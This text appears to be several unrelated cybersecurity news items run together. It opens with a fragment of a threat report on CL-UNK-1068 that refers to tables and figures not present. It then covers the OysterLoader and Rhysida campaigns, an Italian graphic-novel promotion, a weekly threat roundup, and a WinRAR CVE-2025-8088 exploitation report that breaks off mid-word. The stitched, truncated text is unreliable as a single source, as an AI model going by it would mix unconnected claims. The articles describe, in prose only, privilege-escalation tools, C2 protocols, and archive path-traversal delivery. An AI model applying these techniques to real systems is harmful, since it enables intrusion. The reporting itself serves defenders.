52c817465a56ccd0fb4e914a3274a9e9a93e872583e6239bc6461e4f3e40c567 IP addresses 13.250.108[.]65 43.255.189[.]67 52.77.253[.]4 79.141.169[.]123 107.148.33[.]60 107.148.51[.]251 107.148.130[.]22 AntSwordProject, GitHub Universal Command-Line Interface for SQL Databases (usql), GitHub Fast Reverse Proxy , GitHub PrintSpoofer, GitHub Xnote Analysis, Dr.WEB Exposing Earth Berberoka, Trend Micro What are the differences and connections between CC attacks and DDoS attacks? Tencent Cloud NTP amplification DDoS attack, Cloudflare SYN flood DDoS attack, Cloudflare UDP flood DDoS attack, Cloudflare LSA_AP_LOGON_USER_EX2 Callback Function, Microsoft Learn LsaApLogonUserEx2, Kanxue Security Forum SQL Server Management Studio Password Export Tool, Alpaca House (zcgonvh) Our attribution is based on the victimology, tool set provenance and linguistic indicators found within the malware strings. In accordance with Unit 42’s attribution framework, we assess with high confidence that a threat actor communicating in Chinese is behind the CL-UNK-1068 activity that we observed. The group’s toolkit includes open-source tools and utilities shared within the Chinese security and hacking communities, including: Web shells: Authors developed both GodZilla and AntSword using a combination of English and Simplified Chinese. These web shells are derivatives of the China Chopper web shell. Community-sourced utilities: Tools such as the SQL Server Management Studio Password Export Tool and LsaRecorder were traced back to posts on Chinese security forums and blogs dating back to 2015 and 2019 respectively. Analysis of the FRP tool configuration revealed the unique authentication token frpforzhangwei. Zhang Wei is a common Chinese name. Xnote is a Linux backdoor originally discovered in 2015. According to publicly available documentation, this backdoor has only been used by Chinese threat actors since its discovery. The targeting of critical industries across South, Southeast and East Asia is consistent with common goals of China-aligned threat actors. We assess with moderate-to-high confidence that CL-UNK-1068’s primary objective is cyberespionage. This assessment stems from the actor’s post-compromise behavior — specifically, their targeted exfiltration of SQL database content and backups. The consistent targeting of critical infrastructure and government entities across South, Southeast and East Asia aligns with the interests typically associated with nation-state actors. While the victimology aligns with state interests, attackers could alternatively have monetized exfiltrated data through extortion or sold on underground markets. As such, it is possible that the threat actor behind CL-UNK-1068 is an independent cybercriminal group or a dual-use actor. The following tools and utilities have been part of CL-UNK-1068 activity across multiple campaigns since 2020. Table 2 lists the commands executed by the a.bat, hp.bat and hpp.bat host reconnaissance batch scripts, the result filenames and the purpose of each command. Table 2. Commands executed by the host reconnaissance batch scripts, the results filenames and the purpose of each command. The attackers behind CL-UNK-1068 frequently used batch scripts to perform various functions. Table 3 details some of tde scripts used. Table 3. Additional batch scripts used in CL-UNK-1068 activity. This section details the tools and utilities observed in CL-UNK-1068 activity, outlining how the attackers used these components to bypass security measures and escalate privileges. CL-UNK-1068 attackers used the open-source PrintSpoofer tool to elevate privileges. They also used a custom .NET version named PrintProgram to write a web shell with elevated privileges, as Figure 14 shows. In some intrusions, the attackers used srunas.exe to elevate privileges. This custom tool executes processes with higher privileges by copying the access token from another process, as Figure 15 shows. The attackers attempted to use a Sliver shell implant to elevate privileges. Sliver is an open-source framework that defenders can use to simulate adversarial activities. The attackers used a Sliver implant that acts as a privilege escalation shell. It attempts to find spoolsv.exe or lsass.exe and uses parent process ID spoofing to spawn cmd.exe as a child of those system processes, either with or without additional command-line arguments. Figure 16 shows a snippet of Sliver code for parent process ID spoofing. Attackers deployed PwnKit, a self-contained exploit (CVE-2021-4034) to achieve local privilege escalation on Linux systems. The attackers attempted to use a Nuitka-compiled Python executable, probably to make analysis of this tool more difficult, as Nuitka cannot be fully decompiled to Python code. This appears to be exploitation of CVE-2023-34048, a vulnerability in VMware vCenter Server that allows for remote code execution. Figure 17 shows that the tool receives two arguments: a target address and a command to execute.

A multi-stage malware loader known as OysterLoader has continued to evolve into early 2026, refining its command-and-control (C2) infrastructure and obfuscation methods. The C++-based threat, also referred to as Broomstick and CleanUp, is primarily linked to campaigns associated with the Rhysida ransomware group and has also been used to distribute commodity malware such as Vidar. First reported in June 2024, the loader is typically delivered through fraudulent websites impersonating legitimate IT tools including PuTTY and WinSCP. It arrives disguised as a signed Microsoft Installer file and unfolds across four distinct stages, each designed to hinder analysis and detection. Multi-Stage Infection Chain According to a new advisory by Sekoia Security, OysterLoader's latest infection process is structured as follows: Stage 1: A packer known as TextShell that loads obfuscated shellcode into memory Stage 2: Custom shellcode that decompresses the core payload using a modified LZMA routine Stage 3: An intermediate downloader that performs environment checks and initiates C2 contact Stage 4: The core payload, often deployed as a DLL for persistent execution In the second stage, the malware uses a bespoke LZMA decompression routine. Although the compression parameters remain standard, the header format and bitstream are modified, preventing common tools from recognizing or extracting the payload. Once decompressed, the shellcode adjusts memory protections and resolves imports dynamically. Dynamic API resolution is handled through custom hashing algorithms that vary slightly between samples. This variability complicates static detection and signature-based analysis. Updated C2 Protocol and Infrastructure OysterLoader communicates with its C2 servers over HTTP and HTTPS using spoofed headers and deceptive user-agent strings to blend with normal web traffic. Earlier versions relied on two endpoints for registration and beaconing. However, the latest iteration introduces a three-step process, beginning with an empty GET request to /api/v2/init, followed by a fingerprint submission to /api/v2/facade, and concluding with beaconing to a dynamically assigned endpoint. The malware encodes its JSON communications using a non-standard Base64 alphabet combined with a random shift value generated for each message. Recent updates allow the server to supply a new encoding alphabet during communication, further complicating traffic analysis. Multiple endpoint revisions between May 2024 and January 2026 indicate sustained development efforts. "The constant evolution in OysterLoader's code, including updated C2 endpoints and JSON fingerprinting schemas, signals the high level of activity and commitment from the threat actors," Sekoia explained. "The quality and complexity of the malware's development strongly suggest that OysterLoader will remain a significant and persistent threat in the near term."

Betti RHC, la prima graphic novel al mondo dedicata alla cybersecurity awareness, ha finalmente il suo sito ufficiale. Uno spazio tutto suo dove scoprire il progetto, sfogliare le copertine degli episodi e immergersi nel mondo di Betti: la giovane laureanda in informatica che, dopo la morte misteriosa del padre, si trasforma nell'hacker più potente del mondo. Una storia avvincente che, episodio dopo episodio, affronta una minaccia digitale diversa — dal phishing al ransomware, fino al cyberbullismo — e insegna a riconoscerla e a difendersi, senza che sembri mai una lezione. Sul sito trovate tutto ciò che rende Betti un progetto diverso dal solito: la sua filosofia, le anteprime delle tavole e il racconto di come nasce ogni volume. Perché dietro Betti RHC c'è solo lavoro umano: ogni tavola è disegnata interamente a mano dagli artisti del Gruppo Arte di Red Hot Cyber, senza alcun uso di intelligenza artificiale. E a garantire che ogni storia sia realistica e tecnicamente corretta c'è la supervisione degli hacker etici del gruppo HackerHood, che mantengono il racconto fedele al mondo reale della sicurezza informatica. C'è spazio anche per le aziende, che possono usare Betti come strumento di awareness diverso dai soliti corsi: acquistare i volumi, personalizzarli con il proprio brand o sponsorizzare nuovi episodi. E come primo regalo, l'episodio "Byte the Silence", dedicato al cyberbullismo, è scaricabile gratuitamente per uso personale. Perché la miglior difesa, in fondo, è una bella storia. 👉 Scopri tutto su https://betti.redhotcyber.com/

Microsoft on Thursday disclosed that it revoked more than 200 certificates used by a threat actor it tracks as Vanilla Tempest to fraudulently sign malicious binaries in ransomware attacks. The certificates were "used in fake Teams setup files to deliver the Oyster backdoor and ultimately deploy Rhysida ransomware," the Microsoft Threat Intelligence team said in a post shared on X. The tech giant said it disrupted the activity earlier this month after it was detected in late September 2025. In addition to revoking the certificates, its security solutions have been updated to flag the signatures associated with the fake setup files, Oyster backdoor, and Rhysida ransomware. Vanilla Tempest (formerly Storm-0832) is the name given to a financially motivated threat actor also called Vice Society and Vice Spider that's assessed to be active since at least July 2022, delivering various ransomware strains such as BlackCat, Quantum Locker, Zeppelin, and Rhysida over the years. Oyster (aka Broomstick and CleanUpLoader), on the other hand, is a backdoor that's often distributed via trojanized installers for popular software such as Google Chrome and Microsoft Teams using bogus websites that users stumble upon when searching for the programs on Google and Bing. "In this campaign, Vanilla Tempest used fake MSTeamsSetup.exe files hosted on malicious domains mimicking Microsoft Teams, for example, teams-download[.]buzz, teams-install[.]run, or teams-download[.]top," Microsoft said. "Users are likely directed to malicious download sites using search engine optimization (SEO) poisoning." To sign these installers and other post-compromise tools, the threat actor is said to have used Trusted Signing, as well as SSL[.]com, DigiCert, and GlobalSign code signing services. Details of the campaign were first disclosed by Blackpoint Cyber last month, highlighting how users searching for Teams online were redirected to bogus download pages, where they were offered a malicious MSTeamsSetup.exe instead of the legitimate client. "This activity highlights the continued abuse of SEO poisoning and malicious advertisements to deliver commodity backdoors under the guise of trusted software," the company said. "Threat actors are exploiting user trust in search results and well-known brands to gain initial access." To mitigate such risks, it's advised to download software only from verified sources and avoid clicking on suspicious links served via search engine ads. Update Expel, in a follow-up analysis published on October 31, 2025, disclosed details of an ongoing malvertising campaign that's delivering the Oyster loader. The activity, observed since June 2025, is a continuation of a previous wave that ran from May to September 2024. "Threat actors buy Bing search engine advertisements to direct users to convincing-looking, but malicious landing pages," security researcher Aaron Walton said. "These search engine ads put links to the download right in front of potential victims." The malvertising efforts are designed to direct users searching for popular software programs like Microsoft Teams, PuTTY, and Zoom to fake websites that drop counterfeit versions containing the loader. To achieve low detection rates, the loaders are compressed and obfuscated using a packer and use code-signing certificates to give the executables an illusion of trust. Expel said it found 47 unique certificates used to sign Oyster across the two campaign waves, and that the threat actors are also using the Latrodectus malware to get initial access to networks. This is evidenced by the fact that the same code-signing certificate from Art en Code B.V. has been used to sign both malware in mid-September 2025. "In the majority of situations, Rhysida has smartly avoided using the same certificate across campaigns," Walton said. "However, this activity highlights their involvement with both campaigns." (The story was updated after publication on November 3, 2025, with additional insights from Expel.)

Cybersecurity never stops—and neither do hackers. While you wrapped up last week, new attacks were already underway. From hidden software bugs to massive DDoS attacks and new ransomware tricks, this week’s roundup gives you the biggest security moves to know. Whether you’re protecting key systems or locking down cloud apps, these are the updates you need before making your next security decision. Take a quick look to start your week informed and one step ahead. ⚡ Threat of the Week Cisco 0-Day Flaws Under Attack — Cybersecurity agencies warned that threat actors have exploited two security flaws affecting Cisco firewalls as part of zero-day attacks to deliver previously undocumented malware families like RayInitiator and LINE VIPER. The RayInitiator and LINE VIPER malware represent a significant evolution on that used in the previous campaign, both in sophistication and its ability to evade detection. The activity involves the exploitation of CVE-2025-20362 (CVSS score: 6.5) and CVE-2025-20333 (CVSS score: 9.9) to bypass authentication and execute malicious code on susceptible appliances. The campaign is assessed to be linked to a threat cluster dubbed ArcaneDoor, which was attributed to a suspected China-linked hacking group known as UAT4356 (aka Storm-1849). Future-Ready Protection for Microsoft Rising attacks demand a plan. Get Veeam’s Cyber Resilience Playbook for Microsoft 365 & Entra ID and learn 10 steps to stay future-ready and secure your SaaS data. Download the playbook now! Read Now ➝ 🔔 Top News Nimbus Manticore Uses MiniJunk in Critical Infra Attacks — An Iran-aligned cyber espionage group has expanded its operations beyond its traditional Middle Eastern hunting grounds to target critical infrastructure organizations across Western Europe using constantly evolving malware variants and attack tactics. Nimbus Manticore, which overlaps with UNC1549 or Smoke Sandstorm, has been observed targeting defense manufacturing, telecommunications, and aviation companies in Denmark, Portugal, and Sweden. Central to the campaign are MiniJunk, an obfuscated backdoor that gives the attacker persistent access to infected systems, and MiniBrowse, a lightweight stealer with separate versions for stealing credentials from Chrome and Edge browsers. MiniJunk is an updated version of MINIBIKE (aka SlugResin), with the emails directing victims to fake job-related login pages that appear to be associated with companies like Airbus, Boeing, Flydubai, and Rheinmetall. In a further escalation of its tactics, Nimbus Manticore has been observed using the service SSL.com starting around May 2025 to sign their code and pass off malware as legitimate software programs, leading to a "drastic decrease in detections." ShadowV2 Targets Docker for DDoS Attacks — A novel ShadowV2 bot campaign is turning distributed denial-of-service (DDoS) attacks into a full-blown for-hire business by targeting misconfigured Docker containers on AWS. Instead of relying on prebuilt malicious images, the attackers build containers on the victim’s machine itself to launch a Go-based RAT that can launch DDoS attacks. The exact rationale of the approach is unclear, though Darktrace researchers suggest it may have been a way to reduce forensic traces from importing a malicious container. Once installed, the malware sends a heartbeat signal to the C2 server every second, while also polling for new attack commands every five seconds. Cloudflare Mitigates Largest DDoS Attack on Record — Web performance and security company Cloudflare said its systems blocked a record-breaking distributed denial-of-service (DDoS) attack that peaked at 22.2 terabits per second (Tbps) and 10.6 billion packets per second (Bpps), and lasted only 40 seconds. The attack was aimed at a single IP address of an unnamed European network infrastructure company. It's believed that the attack may be powered by the AISURU botnet. Vane Viper Linked to Malicious Campaigns Distributing Malware — A high-volume cybercrime operation known as Vane Viper that's been active for more than a decade is supported by a commercial digital advertising platform with a checkered past. Vane Viper takes advantage of hundreds of thousands of compromised websites and malicious ads that redirect unsuspecting Web users to destinations such as exploit kits, malware, and sketchy websites. The findings suggest that Vane Viper is not acting as an unwitting intermediary but is a complicit enabler and active participant in malicious operations. It also shares parallels with VexTrio Viper in that both emerged from Eastern Europe around 2015 and are controlled by the Russian diaspora in Europe and Cyprus. "URL Solutions, Webzilla, and AdTech Holding form a closely connected trio of firms: domains registered en masse via a registrar steeped in cybercrime, hosted on infrastructure operated by a company that's hosted everything from Methbot to state-sponsored disinformation, and payloads delivered via an ad network long implicated in malvertising," Infoblox said. "Not only has PropellerAds turned a 'blind eye' to criminal abuse of their platform, but indicators [...] suggest – with moderate-to-high confidence – that several ad-fraud campaigns originated from infrastructure attributed to PropellerAds." 2 New Supermicro BMC Bugs Allow Implanting Malicious Firmware — Servers running on motherboards sold by Supermicro contain medium-severity vulnerabilities that can allow hackers to remotely install malicious firmware that runs even before the operating system, providing unprecedented persistence. That said, the caveat is that the threat actor needs to have administrative access to the BMC control interface to perform the update, or distribute them as part of a supply chain attack by compromising the servers used to host firmware updates and replacing the original images with malicious ones, all while keeping the signature valid. Supermicro said it has updated the BMC firmware to mitigate the vulnerabilities, adding that it's currently testing and validating affected products. The current status of the update is unknown. ️🔥 Trending CVEs Hackers don't wait. They exploit newly disclosed vulnerabilities within hours, transforming a missed patch or a hidden bug into a critical point of failure. One unpatched CVE is all it takes to open the door to a full-scale compromise. Below are this week's most critical vulnerabilities, making waves across the industry. Review the list, prioritize patching, and close the window of opportunity before attackers do. This week's list includes — CVE-2025-20362, CVE-2025-20333, CVE-2025-20363 (Cisco), CVE-2025-59689 (Libraesva ESG), CVE-2025-20352 (Cisco IOS), CVE-2025-10643, CVE-2025-10644 (Wondershare RepairIt), CVE-2025-7937, CVE-2025-6198 (Supermicro BMC), CVE-2025-9844 (Salesforce CLI), CVE-2025-9125 (Lectora Desktop), CVE-2025-23298 (NVIDIA Merlin), CVE-2025-59545 (DotNetNuke), CVE-2025-34508 (ZendTo), CVE-2025-27888 (Apache Druid Proxy), CVE-2025-10858, CVE-2025-8014 (GitLab), and CVE-2025-54831 (Apache Airflow). 📰 Around the Cyber World Microsoft Offers ESU for Free in the E.U. — Microsoft has decided to offer free extended security updates for Windows 10 users in the European Economic Area (EEA), following pressure from the Euroconsumers group. "We are pleased to learn that Microsoft will provide a no-cost Extended Security Updates (ESU) option for Windows 10 consumer users in the European Economic Area (EEA)," Euroconsumers said. In other regions, users will need to either enable Windows Backup or pay $30 for the year or redeem 1,000 Microsoft Reward points. It's worth noting that Windows 10 reaches end of support (EoS) on October 14, 2025. Olymp Loader Spotted in the Wild — A new malware loader called Olymp Loader has been spotted in the wild, being propagated via GitHub repositories, or through tools disguised as popular software such as PuTTY, OpenSSL, Zoom, and even a Counter Strike mod called Classic Offensive. Written in assembly language, the malware-as-a-service (MaaS) solution provides built-in stealer modules, including a custom version of BrowserSnatch that's available on GitHub. Campaigns using Olymp have been found to deliver an array of information stealers and remote access trojans like Lumma, Raccoon, WebRAT (aka SalatStealer), and Quasar RAT. The tool was first advertised by a seller named OLYMPO in HackForums on June 5, 2025, as a botnet, before evolving into a loader and a crypter. "The malware seller has published a roadmap that treats Olymp as a bundle comprising Olymp Botnet, Olymp Loader, Olymp Crypter, an install service, and a file‑scanning tool for antivirus testing," Outpost24 said. "It remains to be seen whether OLYMPO can sustain and support a broader malware product suite over time." Regardless, the emergence of yet another bundled crimeware stack can further lower the entry barrier for less experienced threat actors, allowing them to mount widespread campaigns at scale within a short amount of time. Malicious Facebook Ads Lead to JSCEAL Malware — Cybersecurity researchers have disclosed an ongoing campaign that's using bogus ads on Facebook and Google to distribute premium versions of trading platforms like TradingView for free. According to Bitdefender, the activity has also expanded to YouTube, where sponsored ads on the platform are being used to direct users to malware-laced downloads that steal credentials and compromise accounts. These ads are posted via legitimate-but-compromised verified YouTube accounts to serve the ads. The attackers take pains to ensure that the hijacked channels mimic the official TradingView channel by reusing the latter's branding and playlists to build credibility. An unlisted video uploaded by the rebranded channel, titled "Free TradingView Premium – Secret Method They Don’t Want You to Know," is estimated to have racked up more than 182,000 views through aggressive advertising. "The unlisted status is deliberate, of course. By not being publicly searchable, these malicious videos avoid casual reporting and platform moderation," Bitdefender said. "Instead, they are shown exclusively through ad placements, ensuring they reach their targets while remaining hidden from public view." The attacks ultimately led to the deployment of malware known as JSCEAL (aka WEEVILPROXY) to steal sensitive data. LockBit 5.0 Analyzed — The threat actors behind the LockBit ransomware have released a "significantly more dangerous" version, LockBit 5.0, on its sixth anniversary, with advanced obfuscation and anti-analysis techniques, while being capable of targeting Windows, Linux, and ESXi systems. "The 5.0 version also shares code characteristics with LockBit 4.0, including identical hashing algorithms and API resolution methods, confirming this is an evolution of the original codebase rather than an imitation," Trend Micro said. "The preservation of core functionalities while adding new evasion techniques demonstrates the group's strategy of incremental improvement to their ransomware platform." LockBit may not be the most prolific ransomware group it once was ever since its infrastructure was disrupted in a law enforcement operation early last year, but the findings show that it continues to be as aggressive as ever when it comes to refining and retooling its tactics. "The Windows binary uses heavy obfuscation and packing: it loads its payload through DLL reflection while implementing anti-analysis techniques like ETW patching and terminating security services," the company said. "Meanwhile, the newly discovered Linux variant maintains similar functionality with command-line options for targeting specific directories and file types. The ESXi variant specifically targets VMware virtualization environments, designed to encrypt entire virtual machine infrastructures in a single attack." Microsoft Blocks Access to Services Used by Israeli Military Unit — Microsoft has revealed that it "ceased and disabled" a set of services to Unit 8200 within the Israel Ministry of Defense (IMOD) that were used to enable mass surveillance of civilians in Gaza and the West Bank. It said it found evidence "relating to IMOD consumption of Azure storage capacity in the Netherlands and the use of AI services." The secretive contract came to light last month following a report by The Guardian, along with +972 Magazine and Local Call, that revealed how Microsoft's Azure service was being used to store and process millions of Palestinian civilian phone calls made each day in Gaza and the West Bank. The newspaper reported that the trove of intercepted calls amounted to 8,000 terabytes of data and was held in a Microsoft data center in the Netherlands. The collected data has been moved out of the country and is being planned to be transferred to the Amazon Web Services cloud platform. Ransomware Groups Use Stolen AWS Keys to Breach Cloud — Ransomware gangs are using Amazon Web Services (AWS) keys stored in local environments, such as Veeam backup servers, to pivot to a victim's AWS account and steal data with the help of the Pacu AWS exploitation framework, turning what started as an on-premise event into a cloud compromise. "Threat actors are becoming increasingly adept at exploiting cloud environments — leveraging compromised AWS keys, targeting backup servers, and using advanced attack frameworks to evade detection," Varonis said. Meta Unveils Ad-Free Option in the U.K. — Meta has launched an ad-free experience for Facebook and Instagram in the U.K., allowing users to pay £2.99 a month to access the platforms without ads on the web, and £3.99 a month for Android and iOS. "We will notify UK users over the age of 18 that they have the choice to subscribe to Facebook and Instagram for a fee to use these services without seeing ads," the company said. "A reduced, additional fee of £2/month on the web or £3/month on iOS and Android will automatically apply for each additional account listed in a user's Account Center." Meta has significant hurdles in rolling out the scheme in the E.U., causing it to walk back its ad model, offering users the choice to receive "less personalized ads" that are full-screen and temporarily unskippable. Earlier this May, the European Commission said the model does not comply with the Digital Markets Act (DMA) and fined Meta €200 million. In response, the company said it would need to make modifications to the model that "could result in a materially worse user experience for European users and a significant impact." In a report published in July 2025, privacy non-profit noyb said: "'Pay or Okay' has spread throughout the E.U. in recent years and can now be found on hundreds of websites. However, data protection authorities still haven't adopted a consistent E.U.-wide approach to deal with these systems. They should have agreed on this long ago." Dutch Teen Duo Arrested Over Alleged 'Wi-Fi Sniffing' for Russia — Two teenagers have been arrested in the Netherlands on suspicion of espionage, reportedly on behalf of Russian intelligence agencies. The boys, both aged 17, were arrested on Monday. One has been remanded in custody while the other has been released on home bail. The arrests are related to laws regarding state-sponsored interference, but additional details have been withheld due to the age of the suspects and the ongoing investigation. The teens are alleged to have been tasked with carrying a "Wi-Fi sniffer" along a route past buildings in The Hague, including the headquarters of Europol and Eurojust, as well as several embassies. Akira Ransomware Breaching MFA-Protected SonicWall VPN Accounts — Cybersecurity researchers have warned about an "aggressive" Akira ransomware campaign targeting SonicWall VPNs to rapidly deploy the locker as part of an attack wave that began on July 21, 2025. "In almost all intrusions, ransomware encryption took place in under four hours from initial access, with a staging interval as short as 55 minutes in some instances," Arctic Wolf said in a new report. Other commonly observed post-exploitation activities include internal network scanning, Impacket SMB activity tied to discovery, Active Directory discovery, and VPN client logins originating from Virtual Private Server (VPS) hosting providers. Targeting firewall and LDAP-synchronized, several intrusions have involved the threat actors leveraging the dedicated account used for Active Directory synchronization to log in via SSL VPN, despite not being intentionally configured for such access. In more than 50% of the analyzed intrusions, login attempts were observed against accounts with the One Time Password (OTP) feature enabled. "Malicious logins were followed within minutes by port scanning, Impacket SMB activity, and rapid deployment of Akira ransomware," the company noted. "Victims spanned across multiple sectors and organization sizes, suggesting opportunistic mass exploitation." Four People to Face Trial Over Greece Spyware Scandal — Four individuals, two Israeli and two Greek employees of spyware vendor Intellect, are expected to face trial in Greece over the use of the Predator surveillance tool by the ruling government in 2022 to eavesdrop on judges, senior military officers, journalists, and the opposition. But to date, no government officials have been charged in connection with the scandal. Phishing Emails Lead to DarkCloud Stealer — The information stealer known as DarkCloud is being distributed via phishing emails masquerading as financial correspondence that trick recipients into opening malicious ZIP archives. The stealer, besides adding new layers of encryption and evasion, targets web browser data, keystrokes, FTP credentials, clipboard contents, email clients, files, and cryptocurrency wallets. Stolen credentials/data are sent to attacker-controlled Telegram, FTP, SMTP, or Web Panel (PHP) endpoints. It's marketed on Telegram by a user named @BluCoder and on the clearnet through the domain darkcloud.onlinewebshop[.]net. It's advertised as the "best surveillance software for parents, spouses, and employers." Cybersecurity company eSentire said: "DarkCloud is an information-stealing malware written in VB6 and is actively being updated to target a wide range of applications, including email clients, FTP clients, cryptocurrency wallets, web browsers and supports numerous other information-stealing capabilities like keystroke/clipboard harvesting, clipboard hijacking, and file collection." Nupay Plugs "Configuration Gap" — Indian fintech company Nupay said it addressed a configuration gap after UpGuard flagged an unprotected Amazon S3 storage bucket containing more than 270,000 documents related to bank transfers of Indian customers. The exposed information included bank account numbers, transaction amounts, names, phone numbers, and email addresses. The data was linked to at least 38 different banks and financial institutions. It's currently not known how long the data was left publicly accessible on the internet, although misconfigurations of this kind are not uncommon. Nupay told TechCrunch the bucket exposed a "limited set of test records with basic customer details," and that a majority of the details were "dummy or test files." Top AI Chatbots Provide Answers with False Claims — Some of the top AI chatbots' tendency to repeat false claims on topics in the news increased nearly twice as much as they did last year, according to an audit by NewsGuard. The disinformation rates of the chatbots have almost doubled, going from 18% in August 2024 to 35% a year later, with the tools providing false claims to news prompts more than one-third of the time. "Instead of citing data cutoffs or refusing to weigh in on sensitive topics, the LLMs now pull from a polluted online information ecosystem — sometimes deliberately seeded by vast networks of malign actors, including Russian disinformation operations — and treat unreliable sources as credible," it said. Israel's PM Says His U.N. Speech Streamed Directly to Gaza Cellphones — Israeli Prime Minister Benjamin Netanyahu said his speech at the United Nations last week was also pushed to mobile phones of Gaza residents in an unprecedented operation. "Ladies and gentlemen, thanks to special efforts by Israeli intelligence, my words are now also being carried," Netanyahu said. "They're streamed live through the cell phones of Gaza." There is no evidence for how it would've worked or if this actually took place. Fake Teams Installers Lead to Oyster Malware — Threat actors are abusing SEO poisoning and malvertising to lure users searching for Teams online into downloading a fake installer that leads to malware called Oyster (aka Broomstick or CleanUpLoader). "Oyster is a modular, multistage backdoor that provides persistent remote access, establishes Command and Control (C2) communications, collects host information, and enables the delivery of follow-on payloads," Blackpoint said. "By hiding behind a widely used collaboration platform, Oyster is well positioned to evade casual detection and blend into the noise of normal enterprise activity." The activity has been attributed by Conscia to Vanilla Tempest (aka Storm-0832 or Vice Society). Flaw in Streamlit Framework Patched — Cybersecurity researchers discovered a vulnerability in the Streamlit app deployment framework that can allow attackers to hijack underlying cloud servers. "To do that, threat actors bypass file type restrictions and take full control of a misconfigured cloud instance running Streamlit applications," Cato Networks said. In a hypothetical attack scenario, bad actors can exploit a file upload vulnerability in the framework to rewrite server files and deploy new SSH configurations. Streamlit released a security patch in March. 🎥 Cybersecurity Webinars Beyond the Hype: Practical AI Workflows for Cybersecurity Teams — AI is transforming cybersecurity workflows, but the best results come from blending human oversight with automation. In this webinar, Thomas Kinsella of Tines shows how to pinpoint where AI truly adds value, avoid over-engineering, and build secure, auditable processes that scale. Halloween Special: Real Breach Stories and the Fix to End Password Horrors — Passwords are still a prime target for attackers—and a constant pain for IT teams. Weak or reused credentials, frequent helpdesk resets, and outdated policies expose organizations to costly breaches and reputational damage. In this Halloween-themed webinar from The Hacker News and Specops Software, you’ll see real breach stories, discover why traditional password policies fail, and watch a live demo on blocking compromised credentials in real time—so you can end password nightmares without adding user friction. From Code to Cloud: Learn How to See Every Risk, Fix Every Weak Link — Modern AppSec needs end-to-end visibility from code to cloud. Without it, hidden flaws delay fixes and raise risk. This webinar shows how code-to-cloud mapping unites dev, DevOps, and security to prioritize and remediate faster, forming the backbone of effective ASPM. 🔧 Cybersecurity Tools Pangolin — It is a self-hosted reverse proxy that securely exposes private services to the internet without opening firewall ports. It creates encrypted WireGuard tunnels to connect isolated networks and includes built-in identity and access management, so you can control who reaches your internal apps, APIs, or IoT devices. Ideal for developers, DevOps teams, or organizations needing safe remote access, Pangolin simplifies sharing internal resources while keeping them protected behind strong authentication and role-based permissions. AI Red Teaming Playground — Microsoft’s AI Red Teaming Playground Labs offers hands-on challenges to practice probing AI systems for security gaps. Built on Chat Copilot and powered by the open-source PyRIT framework, it lets you simulate prompt injections and other adversarial attacks to identify hidden risks in generative AI before deployment. Disclaimer: The tools featured here are provided strictly for educational and research purposes. They have not undergone full security audits, and their behavior may introduce risks if misused. Before experimenting, carefully review the source code, test only in controlled environments, and apply appropriate safeguards. Always ensure your usage aligns with ethical guidelines, legal requirements, and organizational policies. 🔒 Tip of the Week Hardening Active Directory Against Modern Attacks — Active Directory is a prime target—compromise it and attackers can own your network. Strengthen its defenses starting with Kerberos FAST (Flexible Authentication Secure Tunneling), which encrypts pre-authentication traffic to block offline password cracking and relay attacks. Deploy it in “Supported” mode, monitor KDC events (IDs 34, 35), then enforce “Required” once all clients are ready. Run PingCastle for a rapid forest health check and use ADeleg/ADeleginator to uncover dangerous over-delegation in OUs or service accounts. Harden password security with Fine-Grained Password Policies (FGPP) and automate local admin password rotation using LAPS or Lithnet Password Protection to block breached credentials in real time. Tighten other control layers: use AppLocker Inspector/Gen to lock down application execution and GPOZaurr to detect orphaned or risky Group Policy Objects. Scan AD Certificate Services with Locksmith to close misconfigurations and use ScriptSentry to catch malicious logon scripts that enable stealthy persistence. Finally, apply CIS or Microsoft security baselines and generate custom Attack Surface Reduction rules with ASRGen to block exploit techniques that bypass standard policies. This layered, rarely implemented strategy raises the cost of compromise and forces even advanced adversaries to work far harder. Conclusion These headlines show how tightly connected our defenses must be in today’s threat landscape. No single team, tool, or technology can stand alone—strong security depends on shared awareness and action. Take a moment to pass these insights along, spark a conversation with your team, and turn this knowledge into concrete steps. Every patch applied, policy updated, or lesson shared strengthens not just your own organization, but the wider cybersecurity community we all rely on.

Researchers have released a report detailing how a recent WinRAR path traversal vulnerability tracked as CVE-2025-8088 was exploited in zero-day attacks by the Russian 'RomCom' hacking group to drop different malware payloads. RomCom (aka Storm-0978 and Tropical Scorpius) is a Russian cyberespionage threat group with a history in zero-day exploitation, including in Firefox (CVE-2024-9680, CVE-2024-49039) and Microsoft Office (CVE-2023-36884). ESET discovered that RomCom was exploiting an undocumented path traversal zero-day vulnerability in WinRAR on July 18, 2025, and notified the team behind the popular archiver tool. "Analysis of the exploit led to the discovery of the vulnerability, now assigned CVE-2025-8088: a path traversal vulnerability, made possible with the use of alternate data streams. After immediate notification, WinRAR released a patched version on July 30th, 2025," explains a new report published by ESET today. WinRAR released a fix for the flaw, which was assigned the identifier CVE-2025-8088, on July 30, 2025, with version 7.13. However, there was no mention of active exploitation in the accompanying advisory. ESET confirmed the malicious activity to BleepingComputer late last week, which was believed to be used to extract dangerous executables to autorun paths when a user opens a specially crafted archive. The vulnerability was similar to another path traversal flaw in WinRAR, disclosed a month earlier, tracked as CVE-2025-6218. ESET's report explains that the malicious RAR archives include numerous hidden ADS (Alternate Data Stream) payloads that are used to hide a malicious DLL and Windows shortcut, which are extracted into attacker-specified folders when the targets open the archive. Many of the ADS entries are for invalid paths, which ESET believes were deliberately added to generate harmless-looking WinRAR warnings, while concealing the presence of the malicious DLL, EXE, and LNK file paths deeper in the file list. The executables are placed into the %TEMP% or %LOCALAPPDATA% directories, while the Windows shortcuts (LNK files) are dropped in the Windows Startup directory so that they are executed upon subsequent login. ESET documented three distinct attack chains, all delivering known RomCom malware families: Mythic Agent – Updater.lnk adds msedge.dll to a COM hijack registry location, which decrypts AES shellcode and runs only if the system's domain matches a hardcoded value. The shellcode launches the Mythic agent, enabling C2 communication, command execution, and payload delivery. SnipBot – Display Settings.lnk runs ApbxHelper.exe, a modified PuTTY CAC with an invalid certificate. It checks for ≥69 recently opened documents before decrypting shellcode that downloads additional payloads from attacker servers. MeltingClaw – Settings.lnk launches Complaint.exe (RustyClaw), which downloads a MeltingClaw DLL that fetches and executes more malicious modules from the attacker's infrastructure. Russian cybersecurity firm Bi.Zone also reports observing a separate activity cluster, which they track as 'Paper Werewolf,' also leveraging CVE-2025-8088, as well as CVE-2025-6218, in attacks. ESET shared the complete indicators of compromise for the latest RomCom attacks on its GitHub repository. Although Microsoft added native RAR support to Windows in 2023, the feature is only available to newer releases, and its capabilities are not as extensive as those baked into WinRAR. Hence, many power users and organizations continue to rely on WinRAR for managing archives, which makes it a prime target for hackers. RarLab 